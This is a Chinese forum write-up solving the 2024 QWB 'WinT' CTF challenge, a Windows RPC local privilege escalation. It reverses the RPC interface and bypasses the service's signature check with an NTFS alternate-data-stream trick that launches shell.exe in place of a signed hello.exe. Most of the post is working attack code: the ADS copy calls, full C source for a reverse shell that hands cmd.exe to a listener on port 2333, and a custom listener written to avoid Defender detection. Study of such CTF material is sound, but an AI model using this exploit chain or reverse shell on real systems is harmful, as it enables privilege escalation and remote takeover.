-
-
[原创]2024强网杯WinT 题目复现
-
发表于: 2025-9-10 10:09 474
-
2024强网杯WinT 题目复现
此题是一个windows用户提权题目。给了一个win server 2021 虚拟机,运行一个RPC服务,一个管理员账号和一个qwb账号,要求弹出一个system权限的CMD。
与RPC 服务交互需要通过idl文件作为接口,这题并没没有给出,所以需要逆向得到。
这里使用了两个PRC工具,一个是RPC工具包中的pe_rpc_scraper.py,可以对RPC服务进行静态分析
1 2 | C:\Users\RedSun>python "D:\STUDY\RPC相关\RPC TOOLS\RPC工具包\rpc_toolkit\pe_rpc_if_scraper\pe_rpc_scraper.py" D:\STUDY\RPC相关\2024qwb\WinT\attachment\WinT\server.exe --output_path D:\STUDY\RPC相关\2024qwb\WinT\attachment\WinT\server.rpc.txtfailed getting symbol for addr 0x140001590: 487 |
得到如下信息:
1 | {"server.exe": {"20155544-2054-4544-4555-544555445555": {"number_of_functions": 1, "functions_pointers": ["0x140001590"], "function_names": [""], "role": "server", "flags": "0x4000000", "interface_address": "0x140014760"}}} |
另一个是RPCView,可以直接反编译出idl接口,但是需要将RPCView设置成详细模式,方法是点击FIle->show details for all process
server.exe 的信息如图所示:

在Interface窗口中,右键直接逆向接口如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | [uuid(20155544-2054-4544-4555-544555445555),version(1.0),]interface DefaultIfName{ typedef struct Struct_22_t { long StructMember0; long StructMember1; [size_is(StructMember1)]short StructMember2[]; }Struct_22_t;long Proc0( [in][out]/* WARNING : user_marshall should be defined in ACF file */ [user_marshall(struct Struct_22_t** )] arg_1);} |
这里报了一个错误,参考曾伏虎《攻击RPC:第七届强网杯决赛WinT赛题复盘》(移动端阅读),修改如下:
1 2 3 4 5 6 7 8 9 10 11 | import "oaidl.idl";import "ocidl.idl";[ uuid(20155544-2054-4544-4555-544555445555), version(1.0),]interface DefaultIfName{ long Proc0([in, out] BSTR* arg_1);} |
可以看到这个idl文件最重要的就是,uuid和接口函数。把这个文件server.idl导入vs,编译会报错,但是会生成server_h.h,server_s.c,server_c.c,把这三个文件添加到工程中,自己的exp.c 包含server_h.h就可以编译通过了。exp.c 直接调用Proc0就可以调用接口了,在本题中;对应的是IDA反汇编的sub_140001590函数,也就是说现在可以直接调用这个函数。
那么如何利用sub_140001590函数呢。这个函数的功能相对简单,大意是验证程序的签名是否是"Nonick",如果是则恢复创建的主线程,相当于执行了一个exe,但需要验证通过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | __int64 __fastcall sub_140001590(__int64 a1, PCWSTR *p_SourceString){ _QWORD *Heap; // rax void *Heap_1; // rbx PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // [rsp+60h] [rbp-A0h] BYREF HANDLE hThread; // [rsp+68h] [rbp-98h] BYREF HANDLE hProcess; // [rsp+70h] [rbp-90h] BYREF _UNICODE_STRING DestinationString; // [rsp+78h] [rbp-88h] BYREF __int64 n88; // [rsp+90h] [rbp-70h] _DWORD Dst[20]; // [rsp+98h] [rbp-68h] BYREF WCHAR Filename[264]; // [rsp+F0h] [rbp-10h] BYREF RtlInitUnicodeString(&DestinationString, *p_SourceString); ProcessParameters = 0LL; RtlCreateProcessParametersEx(&ProcessParameters, &DestinationString, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 1); memset(Dst, 0, sizeof(Dst)); n88 = 88LL; Dst[0] = 0; Heap = RtlAllocateHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 8u, 0x20uLL); *Heap = 40LL; Heap_1 = Heap; Heap[1] = 131077LL; Heap[2] = DestinationString.Length; Heap[3] = DestinationString.Buffer; hThread = 0LL; NtCreateUserProcess(&hProcess, &hThread, 0x1FFFFFLL); RtlFreeHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, Heap_1); RtlDestroyProcessParameters(ProcessParameters); memset(Filename, 0, 520); K32GetModuleFileNameExW(hProcess, 0LL, Filename, 0x104u); if ( (unsigned int)sub_1400013E0(Filename) ) { printf("%ls is verified!\n", Filename); ResumeThread(hThread); return 0LL; } else { printf("%ls is NOT verified!\n", Filename); TerminateThread(hThread, 0); TerminateProcess(hProcess, 0); return 1LL; }} |
显然我们自己的程序是无法通过验证的,但题目提供了一个hello.exe,恰好拥有"Nonick"签名,所以必须利用这个签名程序绕过证书的检测,但最终还是要执行我们自己的程序。
参考这篇文章WinT - 2023 第七届“强网杯”决赛 RPC 本地提权 Review | WHOAMI 找到了所有的技术,称为 Windows 的 NTFS ADS(Alternate Data Stream),具体原理可以参考 ”Pentester’S Windows NTFS Tricks Collection“ 这篇文章中 ”Trick 6: Hiding The Process Binary“ 部分的描述。
利用这个技术将shell.exe 伪造成hello.exe,验证的是hello.exe,但启动的是shell.exe
1 2 3 | CopyFileW(L".\\hello.exe", L"C:\\Windows\\Temp\\shell", 0);CopyFileW(L".\\shell.exe", L"C:\\Windows\\Temp\\shell. .::$DATA", 0); |
最终传递给接口函数的是:
1 2 | BSTR bShellPath = SysAllocString(L"\\??\\C:\\Windows\\Temp\\shell. .");Proc0(hBinding, &bShellPath); |
shell.exe 在我们的exp工程中,是一个反弹shell到2333端口的程序,这里直接让deepseek生成了,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | #include <winsock2.h>#include <windows.h>#include <stdio.h>#include <process.h>#pragma comment(lib, "ws2_32.lib")// 反向 Shell 函数void reverse_shell(const char* ip, int port) { WSADATA wsaData; SOCKET sock; struct sockaddr_in server; STARTUPINFOA si; PROCESS_INFORMATION pi; char cmd[] = "cmd.exe"; // 初始化 Winsock if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { return; } // 创建 socket sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); if (sock == INVALID_SOCKET) { WSACleanup(); return; } // 设置服务器地址 server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = inet_addr(ip); // 连接到服务器 if (WSAConnect(sock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL) == SOCKET_ERROR) { closesocket(sock); WSACleanup(); return; } // 设置进程启动信息 ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock; // 创建 cmd 进程 if (CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } // 清理 closesocket(sock); WSACleanup();}// 主函数int main() { const char* lhost = "127.0.0.1"; // 修改为你的 IP int lport = 2333; reverse_shell(lhost, lport); return 0;} |
直接用msfvenom生成的过不了defender,同理用来监听2333端口netcat也用自己的代码编译,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | #include <winsock2.h>#include <windows.h>#include <stdio.h>#include <process.h>#pragma comment(lib, "ws2_32.lib")// 函数声明void ExecuteShell(SOCKET client);int main(int argc, char* argv[]) { // 检查参数 if (argc != 2) { printf("Usage: %s <port>\n", argv[0]); printf("Example: %s 2333\n", argv[0]); return 1; } int port = atoi(argv[1]); if (port <= 0 || port > 65535) { printf("Invalid port number: %s\n", argv[1]); return 1; } WSADATA wsaData; SOCKET server, client; struct sockaddr_in serverAddr, clientAddr; int clientAddrSize = sizeof(clientAddr); // 初始化Winsock if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { printf("WSAStartup failed: %d\n", WSAGetLastError()); return 1; } // 创建socket server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (server == INVALID_SOCKET) { printf("Socket creation failed: %d\n", WSAGetLastError()); WSACleanup(); return 1; } // 绑定地址和端口 serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = INADDR_ANY; serverAddr.sin_port = htons(port); if (bind(server, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { printf("Bind failed: %d\n", WSAGetLastError()); closesocket(server); WSACleanup(); return 1; } // 开始监听 if (listen(server, 1) == SOCKET_ERROR) { // 只允许一个连接排队 printf("Listen failed: %d\n", WSAGetLastError()); closesocket(server); WSACleanup(); return 1; } printf("Listening on port %d...\n", port); printf("Waiting for a single connection...\n"); // 接受客户端连接(只接受一个) client = accept(server, (struct sockaddr*)&clientAddr, &clientAddrSize); if (client == INVALID_SOCKET) { printf("Accept failed: %d\n", WSAGetLastError()); closesocket(server); WSACleanup(); return 1; } printf("Client connected: %s:%d\n", inet_ntoa(clientAddr.sin_addr), ntohs(clientAddr.sin_port)); printf("Shell session started. Type 'exit' to quit.\n"); // 关闭监听socket,不再接受其他连接 closesocket(server); // 执行shell ExecuteShell(client); // 清理 closesocket(client); WSACleanup(); printf("Connection closed.\n"); return 0;}void ExecuteShell(SOCKET client) { char buffer[1024]; int bytesRead, bytesSent; // send(client, "\n", 1, 0); while (1) { // 接收命令输出 //printf("Command output:\n"); while (1) { bytesRead = recv(client, buffer, sizeof(buffer) - 1, 0); if (bytesRead <= 0) { break; } buffer[bytesRead] = '\0'; printf("%s", buffer); // 检查是否接收完所有数据 if(buffer[strlen(buffer)-1]=='>') //if (bytesRead < sizeof(buffer) - 1) { break; } } // 显示本地命令提示符//printf("C:\\>"); fflush(stdout); // 读取本地输入 if (fgets(buffer, sizeof(buffer), stdin) == NULL) { break; } // 去除换行符 //buffer[strcspn(buffer, "\n")] = 0; // 检查退出命令 if (strcmp(buffer, "exit") == 0) { break; } // 添加换行符以便远程执行 //strcat(buffer, "\n"); // 发送命令到远程客户端 bytesSent = send(client, buffer, strlen(buffer), 0); if (bytesSent == SOCKET_ERROR) { printf("Send failed: %d\n", WSAGetLastError()); break; } //printf("\n"); }} |
看一下defender
关于调试,直接x64dbg管理员运行后附加到server.exe 进程。
